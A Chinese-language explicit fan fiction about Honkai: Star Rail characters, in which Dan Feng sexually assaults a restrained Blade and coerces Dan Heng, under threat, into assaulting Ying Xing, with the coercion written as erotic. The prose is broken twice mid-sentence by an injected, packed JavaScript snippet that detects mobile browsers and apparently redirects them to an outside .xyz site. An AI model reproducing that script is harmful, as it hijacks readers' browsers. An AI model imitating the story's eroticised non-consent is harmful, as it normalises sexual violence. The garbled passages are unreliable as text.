《[崩铁]丹恒老师的“受难”之旅》 1. 七百年前的龙尊? 裹在纯黑色的全包手套里的修长手指轻抚身下的男人,这具的身体各处都有着伤痕,大大小小的,因为再生而遗留下来痕迹。 尽管身体伤痕密布,男人的整体轮廓却显得无可挑剔,猿背峰腰,好似那些伤痕都变成了无伤大雅的修饰,宛如断臂维纳斯身上那些微不足道的注解,他的形体本身就足够美。 矜贵端雅的龙尊大人无视被自己压制住,而愤怒瞪视自己的男人几乎滴血的目光,他纤细的手指划过男人的脸颊,从眼角到唇角,又滑落到那截在自己手中显得脆弱不堪一击的脖颈上。 这才淡淡的开口。 “和应星一般模样的人,有趣……”他青色剔透的瞳孔倒映着男人的英俊到锋锐的面容,和如红宝石一样泣血的瞳仁,真是一副难得的美景。 龙尊大人看似轻飘飘的扼住了他的咽喉,看样子并不期待这个人的回答,继续平静而慢悠悠的说道:“还有魔阴身,这股充沛的丰饶之力……说吧,你是谁?” 正处于魔阴身状态的男人当然不会回答他,但尊贵的男人也不恼,而是微微侧头,耳边朱红如血的流苏划过白皙的颊边,他看向另一个缩在角落还抱着一柄眼熟至极长枪的短发青年,或者应该称少年? “我该怎么称呼你呢,后世之人?”丹枫面色平静自如地压着魔阴身的男人,然后问道对面的人。 缩在角落神色几乎呆滞的青年在听到问话后,眼睫轻颤了几下,他抿了抿唇,神色复杂的看了黑发如墨撒下,衣衫微微凌乱的饮月龙尊,在那张跟自己几乎一模一样的脸上扫过,又重新放在被压制着的男人身上,眉头紧蹙。 “……他叫刃。”丹恒攥紧了手中的击云,冰冷的枪身都几乎要被手中温度侵染,青年青灰色的眼睛被瞪得圆溜溜的,就像是某种受到惊吓的小动物一样,警惕而又可爱。清冷的声音传过来,少年乖乖的回答了他。 “……而我——叫丹恒。”他微不可查的顿了一顿,才继续开口说道。 现在这里的气氛并不算融洽。 青年眼眸颤动着,有点呼吸困难,属于龙的无机质视线锁定着自己,让他不敢有丝毫的逾越举动。丹恒相信,现在面前的这位罗浮的饮月龙尊,是真的有可能会对他们下死手。 因为他已经看见过了,在跟自己同时掉落这个时空的人身上,那个叫刃的星核猎手,也是自己前世的挚友应星。 丹恒眼睁睁看着丹枫面无表情的将刃杀死,又一脸平淡无奇,姿态优雅端方的坐在一边等着他复活,在期间把人牢牢的控制住,然后神色莫名的打量着他。 不知道自己的前世想要做什么,丹恒只能警惕的在角落,防备着对面相貌昳丽俊逸的男人。不知为何,丹恒总觉得这位丹枫,饮月君,和自己断断续续的记忆里的那位,似乎有一些不一样,但具体是哪里不一样,他也不甚清楚。 实在是糟糕,也不知道这到底是什么情况。丹恒深吸了一口气,想要跟男人交谈,又止步于男人那张脸上过于冷漠如冰的神色上。 “丹恒……”俊美如画的男人低声念了一遍,然后抬起眼,道:“倒是个不错的名字。为何不显露自己的真容呢,小恒。” 丹恒听见那人略显亲昵的喊着自己的名字,心下触动,但却更为警惕起来。 “我和他无意冒犯你,这只是个意外……”他说。突然掉落在过去的时间线,实在是太糟糕了,也不知道怎么才能回去。 “嗯……” 丹枫伸出手挑开刃的衣襟,让那被绷带凌乱裹着的结实胸.肌显露出来,他冰冷的指尖触及充满生命活力的火热皮肤,喟叹的吸了一口气。这才把注意力放在另一边的人上面。 “怎么不继续说了?” 龙尊大人舔了舔尖锐的牙齿,掀开眼皮似笑非笑地问那边似乎已经呆滞了的小龙。 “你……你……”丹恒只觉得自己大脑好像过载了,他指着丹枫结巴,你了半天都说不出来话。 丹枫并不在乎自己给后世人造成了多大的心理阴影,他继续慢条斯理的一点点剥.开身下男人的衣物,直到男人赤.裸且伤痕累累的身体在眼底下呈现。 他这位跟自己好友应星长得相似的人身体相当壮实,腹部被胸.肌的中缝落下的线条均匀地分开,隆起的肉块在两侧如若山峦攒作一团,不见光的皮肤本来就白,因为暴露在空气中,随着主人呼吸的幅度而起伏不定,吸引着龙的视线。 丹枫饶有趣味的伸出手指捞起对方仿佛被血色浸泡成黑色的长发,并不怎么光滑,甚至有点干枯的手感,明明是受了丰饶之力的赐福,却是这般狼狈的样子啊,朋友。 这个时候,受魔阴身控制的人也渐渐清醒了过来,当然现在的情况,如果让刃来说,他还不如继续疯着。他扯了扯手上的水凝成的锁链,也不知道这人做了什么,现在浑身无力,凝聚不了一点力量,根本做不到掀开正坐在自己身上的那条龙。 “丹枫……”刃哑声喊出男人的名字,而龙尊大人充耳不闻,依旧自顾自的做着自己的动作。 “丹枫……你疯了吗?” 刃受不了那断断续续传来的感受,绷紧了肌肉,却被丹枫带着手套的手指轻而易举的揉.捏放松下来,他太熟悉这具身体了——他为什么这么熟悉,刃心想。 丹枫瞥了一眼似乎陷入了迷茫的男人,摇摇头,舔舔唇,不知道想到了什么,笑出了声。 “我和他可没有你们想得那种关系。” 丹恒:…… 他低着头,就当自己是个空气。 不去看那边的情况。 他打不过丹枫,这个时期的龙尊大人强得实在是过分。丹恒现在自身难保,唯一让他有点安慰的就是,这人虽然现在不知道为什么“发疯”了,但他还不至于连自己的转世也祸害吧?只要这种事情不发生在自己身上,丹恒就能勉强坦然接受。 希望如此…… 持明的年轻人头一次这么想祈祷,祈祷此刻有没有哪位好心的星神能够看见他,带他脱离苦海。 至于刃,就算了,自作自受,丹恒救不了他。要不是他突然发疯的找他打架,他们现在也不至于在这个地方,面对似乎行为很是“癫疯”的饮月龙尊抓瞎,所以说这一切究竟是怎么回事!记忆里也没有提过这个啊。 丹枫抬起手,用牙齿咬住手套的,慢慢地将那纯黑的手套扯了下来,男人微微扬起头,利落的下颌线收紧,纤长而白皙的脖颈一览无余,他好看的就像是花枝柔软脆弱的枝丫,青色的眼眸波光流转。 “……不过,你马上就要跟我有关系了……” 龙尊笑着,薄唇微微挑起,那露出白皙肌肤的修长手指,在男人凌厉的似乎要杀了他的目光中,毫不顾忌地做自己想要做的事情。 柔软粘稠的血液被挤压出,慢慢顺着龙尊的修长手指流淌出来,男人的伤口在崩裂,但对方不以为意。 因为很快,那些崩裂的伤口就会愈合,只剩下血液的存在,丰饶之力总是在莫名其妙的地方体现作用。丹枫将另一只手的手套也咬住脱掉后,姿态随意,就像是在无聊时拨弄玩具逗乐一样,用掌心皮肤细腻的手接触对方。 “……呃呃……” 快乐的感官总是会比痛苦使人更沉迷,更无法抵抗。 刃猛然睁开血色的瞳孔,死死看着正压着自己一副完全不在乎模样的男人,那副熟悉的模样,即使已经忘却,也被刻入骨髓,无法摆脱。 而现在,对方将他当做一个不在乎的陌生人,一个突如其来的入侵者,肆意对待。 丹枫挑挑眉,迎着黑发血瞳男人的目光,勾起唇角笑了笑,容颜昳丽俊美的龙尊大人平时表情不多,所以,若是露出这些罕见的情态,反而更让人目光无法自拔的被沉醉其中。 浑身冒汗的男人,神色恍惚,整个人就像是从水里捞出来的一样,过了一会儿才清醒过来。 “真是有意思……你为何不回答我的问题?”他抬起手,在刃英俊的面孔前,张开手指,让他看那些事物,在龙尊漂亮纤细的手指上包裹,粘连。 他瞪着眼前的这一幕,喉结下意识的滚动了一下,他从未见过矜贵的饮月君这一面,那些液体在白净的手指上滴落,就好像自己把这个人拉入了泥潭一样,使人心里涌出一股突如其来的满足情绪。 “真多。”丹枫敛着眉,唇角轻抿。他也是第一次做这种事情,其实并不熟练,不过,作为在丹鼎司经常出没的龙尊大人,医术出众的同时,关于长生种和短生种的身体情况,他当然不算陌生。 这种熟稔的技术,是脑子里只剩下恨意和杀心的人没办法抵挡的。 刃混沌的脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472904|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有仔细思考,就是一僵。 眼前曾经的好友,见他看过来,还睁着青色剔透的瞳孔表情无辜而平静地笑笑,指尖则是按压刚刚找到的位置。 刚刚体验过的感觉再度袭来,男人叱责的声音也瞬间变调。 “呃啊,滚,嗯……滚出去……丹枫,滚……” 身体却紧张地绷着,它在反叛自我的意识,想要去讨好眼前的男人。虽然刃早已习惯,他经常失控,只能依靠队友的言咒才能更好的维持短暂的安宁,但是现在,在熟悉的面孔底下,他不想这么轻易妥协…… 丹枫,你这个傲慢的家伙! 龙尊大人只是冷静道:“可是你好像很喜欢,我都没有费力。” 他凑近对方耳朵,轻声细语地说:“我倒是没有想到我的挚友身体居然如此的喜欢这个。不过也好,我也很喜欢,应星,你说是吗?” 刃浑身发软,却在听到丹枫的话语后几乎暴跳起来,他目眦欲裂的想要攻击男人,“……我不是应星……滚,滚开!” 丹枫游刃有余的躲开那轻飘飘绵软无力的攻击,把人重新压制下来,若有所思的盯着男人,“……是吗?你说你不是应星?可在我眼里,你就是应星,你和他分明是一模一样。” 一边角落里罚站的丹恒:…… 请原谅他,在那一刻,青年难得一见的没有绷住表情,唇角不易察觉的微微上扬了一下。 这个场景真是眼熟啊,熟悉到仿佛就在刚刚才发生过一样,哦,不是好像,就是刚刚才发生过的事情啊。 丹恒抿着唇,压下心中涌上来的一丝荒谬的笑意,最后他实在没有忍住,抬起头看了一眼床上那个好像很凄惨的宿敌。 风水轮流转,今天总算是有人能够制裁刃这家伙了。 丹枫说完,就不在理会这些,专心做自己想要做的事情。 丹枫的屋子里没有做这些事情的东西,他也用不上这个。大不了就用云吟术法,这种事情总不会难倒聪明绝顶的龙尊大人。 不过,令丹枫有点讶异的是,男人的身体似乎确实有那么一丝天赋在身上,在伤口被丰饶的力量快速恢复后,就好像已经被驯服了似的,不再抗拒他,反而热烈的欢迎起来。 他差点没抽动自己的手。 情绪真是不够稳定,这就是魔阴身吗? 但……应星他是短生种,本不应该会有这种属于长生种才有的,无法逃离的诅咒。 啊,想多了。 应星都能见到自己的后世,那么出现魔阴身,似乎也有那么一点道理? 看起来矜持又端正的龙尊大人盯着男人,思维却不可抑制的想到了自己的好友,那位工造司的百冶应星身上。 他也会这般模样吗? 想看,想看,好想看…… 耳边似乎在回荡着未知的低语,令人烦恼,但似乎好像很有趣…… 丹枫轻轻蹙眉,又转眼眯了眯眼睛,表情似笑非笑的看了看房门的位置。他把那个不知道何时已经悄然溜到了门边的后世,用水绳捆了回来,丢到了床脚。 看着小龙惊慌失措的表情,心里一些奇奇怪怪的想法不停得冒出来,难以抑制,他也不打算控制。 现在他觉得自己状态非常好,很开心。 他很久都没有这么开心过了。 丹枫摸了摸男人汗湿的脸,这张脸比应星要光滑许多,年轻时期的应星,仿佛不过眨眼,却是许久不见了。 “应星……”他轻声道,“放松点,虽然你的丰饶之力可以无限制的复生,但我也不想这么强硬。” “你……明明很中意我这张脸的,不是吗?” 刃没有说话,他甚至气得嘴唇发抖。 矜贵的龙尊大人对男人的反应表示不解,随后决定不去理会,相信魔阴身状态的好友身体是没有问题的。 只有丹恒看着眼前魔幻的场景,唇角抽搐,脸色空白,不知道该做出什么反应。 “……呃!……”刃瞪大眼睛,头抵着柔软的枕头,感觉太阳穴一抽一抽的痛。 这一切都在提醒他,自己被昔日的好友给上了。 偏偏那人还用平淡的语气,说出饱含恶意和戏谑的话,从上方响起,龙尊居高临下的说道。 “应星,你的第一次我就收下了。” 2. 丹枫,他是谁? 刃早已习惯了这些痛楚,他对此并无任何反应,反倒是在痛苦之中那一丝隐约的快感却越来越清晰,并在丹枫的动作里逐步占据了他大部分心神。 该说不愧是龙裔吗?即使像丹枫这般清丽好看的外表,那东西也大的实在是超标。 刃只觉得自己整个人要被撕裂,他神游思绪甚至在想,这样的痛楚,实在是过于磨人,还不如刚刚见面一枪捅死他来得轻松…… 丹枫对男人的走神并不在意,他微微闭着眼睛,细细的感受,舒适温暖的体验使得龙那淡粉的薄唇敷上了欲.望的红润,脸颊也浮现浅浅的红晕,然后睁开眼睛,那是一双青色的竖瞳,里面有显而易见的兴奋,和强烈的非人冰冷。 他伸出手,用柔软的指腹抹了一下刃的脸,为他擦拭掉之前溅上的鲜血,在白皙的面庞上划开一丝明晰颜色,低头敛眉的眼底神情柔和暧昧。 刃被脸上温柔的触碰惊醒,他睁开鲜红的瞳孔,只是平和了一瞬间,狰狞和癫狂又重新覆盖上了这幅优秀的面容上,引得龙尊幽幽的叹息一声。 他剑指并起,青色的微光环绕指尖,然后带着清风和水汽,点在男人的眉间,无形的波动扩散,似乎有什么被震开。 “……我觉得这种事情,你还是保持理智的好,一个人是很没有意思的……你说对吗,应星?”这位看起来似乎一切正常的矜贵出尘的龙尊如是说道,并在刃醒来以前,一只手钳制着男人的虬劲腰侧,一只手随意地把散落在颊边的发丝往耳后撩,露出被散落发丝稍微遮掩的眼眸,整张面孔在晨光中俊美如画。 刃有些浑浑噩噩,魔阴身被强制压了回去,也不知道这个人使了什么法子。不过刃也不在乎这些,他更希望自己聋掉,不想听那个人用熟悉到刻骨的清冷声音继续喊那个已经死去的人名讳。 丹枫什么时候时候这么多废话了,好烦,好痛苦,杀,杀,杀……要是能堵上他的嘴就好了…… 对,堵上他的嘴…… “嗯?” 丹枫有点惊讶的眨眨眼。火热而粗糙的手指贴上了龙尊白皙的颈侧,晕染着那一片肌肤的体温。 他闭上嘴,青瞳盯着面前突然抬手放在自己脖子边的男人。绵软的力道,不是为了杀了他,那么是想做什么呢?龙尊期待的垂下纤长的眼睫,看向刃。 星核猎手少有这般狼狈的时候,黑色的长发尾端带着红,散落在赤.裸的脊背上,身上是深深浅浅的旧疤和层层叠叠的崭新伤口。那些伤口,有的大多数都已经凝固结痂,丰饶的力量一刻不停的在修复这具千疮百孔的身体。 男人的眼神这个时候却是格外平静的,或者说死寂,让丹枫莫名想到了古海的最深处的水流,是一缕在水底晕染的血色,既危险又迷人。 他喜欢这个,男人的举动让龙明显的兴奋起来。 猎手粗粝的修长手指慢慢摩挲着龙尊脖颈的皮肤,是光滑如玉的上好触感,看起来美丽又脆弱。但他和丹枫都知道,持明龙裔的危险性。 不朽龙尊的危险性从来都不容置疑。 刃开了口,低哑的声音磁性冷淡: “真是烂透了的技.术……” “唔?” 丹枫挑眉,还不等他说什么,面前的人已经忽然用力掐住了他的脖子,仰头吻了过来。 他有些呼吸不畅。 灵敏的感知,让丹枫在负距离里被男人身上残留的铁锈气味笼罩,和浅淡的莲花香气混在一起,再也不分彼此。对方并不在乎丹枫会不会舒服,也懒得顾忌这些。柔软的舌头顺着龙尊温冷的唇缝挤了进来,然后极其肆无忌惮的霸占领地。 丹枫不太开心地压了压眉梢,开始和主动的男人争夺带着血腥气味的吻的主动权。 两个都没有经验的人亲吻起来是什么模样?丹恒会告诉你,那仿佛是一场厮杀,猎手和猎物的共舞,看不出一丝的温情。 “撕拉……” 是衣服被撕裂的声音。龙尊的外衣被扯下大半,黑色的内衬也被撕开,露出内里包裹着的身体。是一副修长而有力的躯体,肌肤很白,似乎隐约泛着微光。 丹枫不去在意这个,他将手放在男人的腰上,顺着劲瘦的腰身往上,流连在男人宽阔的脊背处。猎手的背上也布满了伤痕,这具身体,到处都是斑驳的伤痕,就好像曾经有什么人将他千刀万剐,最后又重新拼凑起来的一样,就像个破烂的玩偶。 看起来甚至有点吓人,起码小朋友最好别看。 ——不过,他蛮喜欢的。 丹枫心想。 他的牙齿咬破了男人的皮肤,血腥气更浓郁了起来,几乎将莲花香气压制的无影无踪。 丹枫笑了笑,感受着从面前这具躯体传递过来的热.量,手指按住了那一截劲瘦的腰。看着男人皱着眉绷紧身体,浓密的眼睫毛颤了颤,几乎要被顶出.生理性的泪水来。 很满意男人这幅模样,丹枫率先结束这个深吻,揉捏了一下黑发男人的耳垂,又放在那苍白的脖颈上,最后手指滑下脊背,一寸寸的丈量他背部的肌肉,流水般的气机围绕,好似想把人拆吃入腹一样阴冷。 等摸够了,丹枫将人毫不留情的压进了柔软的被褥里,钳着男人的窄腰,不顾对方“微弱”的抵抗。 这幅身体一如丹枫所评价的那样,非常的有天赋,体验良好。 蹲在床脚被捆的严严实实的丹恒不可抑制的红了耳根,他闭上眼,却依旧被那些响亮的动静臊得面红耳赤,持明的年轻人逃避般把头偏过去,本来平稳的呼吸不知何时也渐渐失了衡。 还好这里的嘈杂声音有许多,丹恒并不会露馅,他几乎有点绝望的想。 丹枫并没有忽略一边战战兢兢的后世,他看向闭着眼睛,似乎在充耳不闻的后世,语调轻柔平静:“小恒,睁开眼。” 丹恒抖了抖,却乖乖的睁开眼睛,他知道,现在自己必须听丹枫的。 睁开眼睛以后,映入眼帘的场景让这个从未真实见过这种场面的小龙脸色红透了。他下意识的咽了一下口水,圆溜溜的青色眼睛睁大,里面的瞳孔震颤着。 见到自己的好后世被吓成这个样子,丹枫笑着用尾巴尖勾了勾少年的下巴,看着他身体颤抖了一下,这才扶着男人,让他支起身来,将那带着斑驳红.痕的模样展露在丹恒面前。 丹恒:“!!!”非礼勿视,非礼勿视! 他好想逃…… 丹枫一点也不顾及丹恒的感受,他用纤细的手指扣着男人的下巴,慢慢收紧了一点力道,逼出一声闷哼来,这才看着不远处清秀的少年,笑着问他:“……你喜欢吗?” 丹恒:“……不。” 让他离开这里,这是他唯一的愿望。 可龙尊大人并没有要听他拒绝的意思,而是继续道,“来摸摸他……我想他会很喜欢的。” “……我可以拒绝吗?”丹恒抿唇。 可龙尊的青色瞳孔冰冷而威严,他现在不想听见拒绝的声音。 “你觉得呢……” 丹恒:“……” 好吧,这是没得商量的事情。 丹恒咬咬牙,然后伸出自 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从来没有被开.发过的地方,一寸寸染上让人堕落的快.感,就连那些在骨髓里潜伏的痛苦都被淹没掉,让这个被痛苦倾注灌溉的躯壳难得轻松一回,体会那前所未有的快乐。 耳廓被舔了一下,又被轻轻咬了一口,龙的尖锐的牙齿收了力道,但依然又股刺痛,可现在这股疼痛微不足道,反而勾起了如潮水的快感涌来,入侵四肢百骸,将这只“野兽”俘虏。 白发的百冶推开这扇门的时候,绝对想不到自己居然会看见这样的场景。 他怀抱着的纸袋掉落了下去,啪嗒一声沉重的砸在脚背上,也没有察觉。 白发的男人神色痴呆的看着,忘了言语。 丹枫自然注意到了自己的好友的到来,但暂时无暇顾及,他用手掐住猎手的脖颈,用力握紧的同时俯下身,不停地在肩颈处啃咬,尖锐的牙齿在其上留下明显的痕迹。 刃现在受不住龙尊这样的举动,抓着床单的手青筋暴起,他想要避开,却被掌控着无法动弹,眼前一阵一阵发黑,整个人快要窒息。 应星几乎是惊恐的跑上来,想要去解救那个可怜的人。 “丹枫,你快住手!疯了吗你!” 他看起来快要窒息死掉了。 在白发的男人快要扑上来的时候,丹枫低下头,咬住了刃的喉结,死亡阴影开始覆盖上来,慢慢的将他拖入黑暗,刃呜咽着,身体绷紧,抖个不停。 丹枫抽出了自己的东西,随手将人脖子上被撕咬开的口子愈合。他若是不出手,对方这具充盈着丰饶之力的身体,可能已经把这些伤口复原了。 “……丹枫……丹枫……我要杀了你……”男人缓了好一会儿,才颤抖着低哑的声声,如此念叨着,一副杀气凌然的模样。 丹枫只当那是耳旁风,反而用白皙柔软的手指顺着男人脊柱往下摸,感受着这具□□的颤栗。 真是毫无威胁性的话语。 已经扑到床边的人,听到声音,却僵硬了下来。 这位才华横溢的短生种,仙舟人口中的传奇百冶——应星师傅。面对众人的刁难也从不假以颜色的男人,此时脸色惊恐的好像看见了什么不应该存在的东西一样,他指着那个还狼狈趴在床上的男人,从来都稳稳当当能够锻造各种精巧绝伦器物的手,现在却颤抖的不行。 他嘴唇抖了抖,抬起那双紫灰色的眼眸看向旁边眉眼都透着餍足而显得更加光彩夺目的饮月龙尊,问道: “……他是谁?” 3. 节操要碎掉了喵 试图逃跑的应星被水绳捆起来丢在了龙尊的塌上,和丹枫相交莫逆这么久,他可从来没能上过这张床。应星苦笑,忽然想起了那些仙舟上的女子对饮月君的憧憬艾慕之心,不知道现在丹枫的行为算不算崩掉了自己那清冷如明月的姿态,但——他大抵是不在乎的。 他偏过头,身边的黑发男人侧身躺着,呼吸粗重胸膛起伏,身体还在时不时的轻颤着,如血液凝固而成黑发落下遮住了他的脸,让应星看不清那个人的面容。 不过,应星也不需要去看,这个已近中年的男人长长的叹口气。聪明如他,只是这短短时间,就猜的七七八八了。 ——从听见那个跟自己一模一样的声音,到那个和丹枫几乎一个模子里刻出来的少年,实在是不堪忍受的复现龙尊本相,挣断了控制,和丹枫打起来,他都看得清清楚楚。 是后世之人啊…… 应星将头艰难的别过去,看向外边。 他的身下是一座由沉香木制成的横榻,铺设着厚厚的茵褥,材质柔韧松软,华美罗帐垂下大半,珍珠轻坠帐角。 透过罗帐望出去,可以在一旁看到一座宽达丈许的屏风陈列。彩纱细绫的屏面,檀香木精雕的骨架,点缀着一粒粒光芒绚丽的珠玉,精致繁美,可现在被倾倒在地上,断裂成两截。 屏风的左右往往还有两座造型古朴的香炉,平常时香烟蒸腾,满室芬芳,再配合上一些精巧美观的摆件,将卧房点缀得极有贵气。 持明龙尊的住处自然需处处讲究,可现在却凌乱成了一团糟。 而正在对峙的两个人谁都不会在乎这些。 白发男人看向那两个持枪的人,他们遥遥对峙着,气机凛冽。 一模一样的外貌,唯一的区别可能只有另一位身量稍稍偏矮,昳丽的面容更青涩年轻。哦,还有那对龙角的不同。 应星虽然知道在这种时候自己不应该想那些乱七八糟的事情,自己应该优先拯救自己那个目前还没有遭殃的屁股,可实在是架不住心头冒出来的好奇心。 工匠的目光一眨不眨的停留在那位持明的头上,看着那对和丹枫与众不同的龙角。 年轻的持明头上青色半透明的龙角虚幻漂亮,还缠绕了一圈金色的纹路,从视觉上来看,煞是好看,完美搭配如饮月君这般出色外貌的美人。 可从另一个角度来说,应星的专业素养告诉他,金镶玉的工艺,除了在各类珠宝玉石之上用作装饰以外,也可以用来修复那些贵重而脆弱的珍惜玉石或者珠宝不小心断裂而使的手段。 应星也曾经闲暇之时雕刻过一个玉器,并在不小心摔断之后,用来遮掩瑕疵并续接玉器。 所以,这个名叫丹恒的人,饮月君丹枫的转世,他的龙角曾断过。 在想到这个的时候,工匠的紫灰色眼睛眨了眨,心头有一闪即逝的心痛之感。平时丹枫都不愿意让任何人触碰的龙角,究竟是遭受了什么事情,才会断裂掉。 他以前经常和龙尊大人开玩笑,说自己想用他的龙角当材料,龙鳞尚且如此坚硬非凡,龙角岂不是更是难得炼器佳品? 那个时候的丹枫轻飘飘的瞥了他一眼,语气平淡又清冷的样子,面无表情的道:“或许我可以让你现在就去梦里继续想……” “哈哈哈,那就不必了,我可是短生种,怎能受得住龙尊大人的一击?不怕把我这颗聪明的脑袋打坏了?” 丹枫轻哼一声,不再言语…… 从回忆里出来,应星又幽幽地叹息一声。 所以说,丹枫到底是怎么一回事?现在的事情都太魔幻了。 匠人无不担忧的思考着。 关于这个问题,丹恒也很想知道。 他拧眉不动,手持击云,表情微微带着怒意的凝视对面身长玉立的男人。太过分了,丹枫,你自己发疯,不要拖着别人一起疯! 丹恒握紧了手中的击云,青瞳怒火沸腾。 丹枫的眼中却闪过一缕赞赏,他摆动长枪,脚下点动,整个人近乎腾身而起,气势磅礴的同时,在阳光的折射下,那击云的尖端更似耀起一点璀璨的光辉,令人不可逼视。 丹恒左足退后一步,侧开身体,让视线避开锋芒的同时,手中的击云起一大盘头,如青龙盘旋,吟啸出一股劲风。等到对方的枪尖刺到前方,他左足又是一跺,枪从左侧似苍龙探爪般瞬间刺出,后发先至,分毫不差地抽击在了对方杆身上。 激烈的较量由此拉开序幕,两人手中的长枪划出道道光弧,使的全是同一路枪法,招招迅猛如雷,疾风暴雨般的攻势换来雨打芭蕉般的声响。 塌上的应星看得目不转睛,暗暗喝彩,几乎都快忘了自己现在的处境了。 旗鼓相当的三四十招后,激烈的交击声渐渐消失。并非力竭,而是两人招式之间,严格控制着力量的外泄,唯有对方才能察觉到那股暗而不发,藏而不露的威胁。这比拼的,是枪法的精妙,气息的绵长,更是心态的沉稳。 丹枫自是不急不躁,无论如何他都不会输,这是来自时间给予他的底气,只是想要这孩子心服口服之后,再乖一点罢了。 看看另一个,现在多乖巧安静,相比之下他对自己的后世已经非常的宽容了。 再过二十多招,丹枫看着那神情专注,面容沉静的少年,率先一步变招,他的枪身猛然一顿,一股寒芒流转,仿佛镀上了一层清冷的光辉,劲风大振。 一杆抽下,划着弧度以不可思议的速度抽了过去,就听啪的一声,枪尖和枪尖撞在了一起,男人逼近丹恒,那击云如臂挥使的点在了青年白皙修长的脖颈处,吞吐的劲芒将那处皮肤点出红痕,隐隐浮现血迹。 不等丹恒反击,尚衣衫凌乱的饮月龙尊就抽身而退,耳边垂落的流苏耳坠划过轻巧的弧度,黑发也散落着,一副慵懒的姿态,他的语气里带着一丝笑意道:“如何?你可认输?” 丹恒:…… 丹枫一看就知道这小子还是不想认命,他沉了沉脸,非人的青瞳隐隐发亮,龙尊表情冷淡下来,他用长枪指了指,身后的人又重新指回丹恒。 冷不丁吐出一句话来。 让同时听到的两个人,都差点被口水呛死。 丹枫一点也不在乎他们心情的说道:“小恒,你要是不干他,我就干你。二选一,选吧。” 应星:…… 我去,疯了,他是真的疯了! 工匠沉默空白的脸皮下是凌乱茫然的大脑。此刻他真想把一大早起来,兴高采烈跑来找丹枫的自己给弄死。 —— 匠人儿时的记忆并不长,甚至称得上是戛然而止,但他对自己父母说过的话还是有记得一些的,也始终记得那些往日的时光里,妇人温热柔软的双手,还有怀抱。 他的母亲有一头如墨的青丝,被发簪堪堪挽起,有时候会在弯腰抱起他时,散落些许,顺滑的冰冰凉的发丝滑过脸颊,还有隐约的香气。 工匠以前想过,自己以后也要找一个这样的姑娘,和她相敬如宾举案齐眉。后来,家乡破灭了,他就不在想这些了,那些儿时的美好记忆都被无尽的丰饶孽物所埋葬。 但有些东西,还是顽强的继承了下来。 时至今日,应星依旧会把目光停留在拥有一头如墨长发的姑娘身上,按照景元那小子说得,自己这个情况叫什么来着?性癖? 不太明白这种新潮的词汇。 然后白毛的小子叹了一口气,慢悠悠的重新组织了一下语言。 他说:“讲简单直白点,你就是喜欢黑长直。比如丹枫哥这样的。” “什么鬼。”匠人吓了一跳。 丹枫,不可能,不可能,绝对不可能! 那白头发的骁卫点点头,理所当然的道:“这当然不可能,我只是举个例子而已。你没发现吗,每次丹枫哥出现后,你总是会在他身上黏着视线好一会儿,才挪开。尤其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472906|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是喜欢看他的头发。你还说你不是喜欢黑长直!” 觉得天塌下来的工匠:…… 白发小子眼神怜悯的拍拍高大男人的肩膀。 “没关系的,应星,罗浮上面多得是喜欢饮月君的人,不差你一个。况且,我也很喜欢哦。” “真的?”他看过去。 “嘿嘿……假的,欺骗你的啦!” 那小子却露出一副狡猾的笑脸,眼角的泪痣都好像带着嘲讽,眯着眼笑得牙都露出来。 然后被自己的师父,冷着脸一巴掌拍到了地上…… 有冰冷纤细的手指捏住了他的脸颊,工匠睁开眼,触目可及的是一张无可挑剔的漂亮脸蛋,眼尾一抹飞红殷红似血,却无端地显得蛊惑人。 右边垂下红色流苏的耳坠,是丹枫。 这条龙是真的好看。 应星再次在自己脑海里刷新了一下自己确认过许多次的答案。 有着一头黑色如墨的长发的美人龙尊,见得人看向了自己,薄唇轻轻勾了起来,他瞅着好像有点晕乎乎,到现在似乎都没什么危机感的好友,眼尾带出笑意来。 他说:“应星,我可以亲你吗?” 话音刚落,那人就垂首凑了过来,如绸缎一样滑润的发丝从肩头落下来,几乎遮住了匠人大半的视线。冰冷柔软的唇肉贴上来,一下下碾着男人的嘴唇,待到唇缝微微开合,龙轻巧的舌头就滑了进去,缠住了僵硬不知所措的舌头。 口腔里开始发出细碎的水声,龙的舌头有点长,还很灵活,应星有点迷糊,嘴唇被堵住,视线之内都是龙尊柔软的发丝,他下意识的伸出手,小心拽住了一缕,鼻尖萦绕着浅淡的莲花香气,越来越浓,不但是前面这个人,还有后面的那个。 后面…… 男人突然惊醒,他想爬起来,离开这个被前后夹击的处境,却被身后那人的手牢牢攥住腰身,逃脱不得。 垂眸亲吻他的龙,用青色的瞳仁看了看他,不知为何,应星似乎从那里面看出了一丝温柔之色,应该只是光线造成的错觉。 在白发男人身后的丹恒,满脸无奈,却抿着唇角,认真做着自己要做的事情。 趁着这家伙现在被丹枫迷得神魂颠倒的时间,他得做好自己要做的事情,真是荒唐啊。 不比丹枫对刃的潦草前序动作,应星是个短生种,他的身体别说和不死之身的刃相比,也别说和持明一族比较,就算是狐人和仙舟民都可能要来的更好。 他是个脆弱的短生种。 也是自己记忆里看见的意气风发神采飞扬的工造司百冶。 丹恒对应星,是存在好感的。 曾经,只有那把击云在自己怀中,他才能入眠,也才能在噩梦中惊醒时,抚摸冰冷的枪身,感受到心安。 被亲吻着很舒服,身体好像都是轻飘飘的,指尖开始发麻,理智在预警,但现实却是应星闭上眼,本能的仰起头,将手指插进龙尊漆黑顺滑的发丝里,更深的沉溺进了这个吻里。 